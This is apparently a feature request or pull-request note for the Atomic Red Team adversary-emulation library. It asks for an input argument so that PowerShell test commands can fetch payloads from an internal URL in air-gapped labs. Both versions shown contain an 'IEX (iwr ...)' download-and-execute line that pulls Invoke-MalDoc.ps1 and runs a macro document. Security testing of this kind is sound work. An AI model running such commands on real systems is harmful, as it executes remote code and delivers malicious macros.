Add InputArgs Option for Invoke-WebRequest (iwr) URLs

[chrisanag1985]

For Test Labs that are air-gapped/isolated networks, it is useful to havethe option of specifying an internal URL where the payloads are hosted (e.g. internal web server).

E.g.

The 1055 - Test Number 1

  executor:
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
      Invoke-Maldoc -macroFile "#{txt_path}" -officeProduct "Word" -sub "Execute"

TO

  executor:
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (iwr "#{url_path}/Invoke-MalDoc.ps1" -UseBasicParsing)
      Invoke-Maldoc -macroFile "#{txt_path}" -officeProduct "Word" -sub "Execute"